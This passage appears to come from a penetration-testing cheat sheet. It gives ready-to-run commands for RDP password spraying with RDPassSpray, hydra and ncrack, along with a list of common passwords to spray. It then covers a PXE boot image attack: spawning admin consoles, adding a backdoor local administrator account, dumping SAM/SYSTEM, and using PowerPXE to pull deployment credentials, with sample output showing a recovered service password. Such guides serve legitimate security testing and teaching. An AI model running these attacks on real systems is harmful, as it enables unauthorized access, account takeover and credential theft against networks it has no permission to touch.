python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]

Using hydra and ncrack to target RDP services.

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10

Most of the time the best passwords to spray are :

  • Password1
  • Welcome1
  • $Companyname1

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.

  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    net user hacker Password123! /add
net localgroup administrators /add hacker

  • Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    # Import the module
PS > Import-Module .\PowerPXE.ps1

# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 » 

# Wait for the DHCP to get an address
>> Get a valid IP adress
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101

# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address:  192.168.22.3

# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.

# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1

References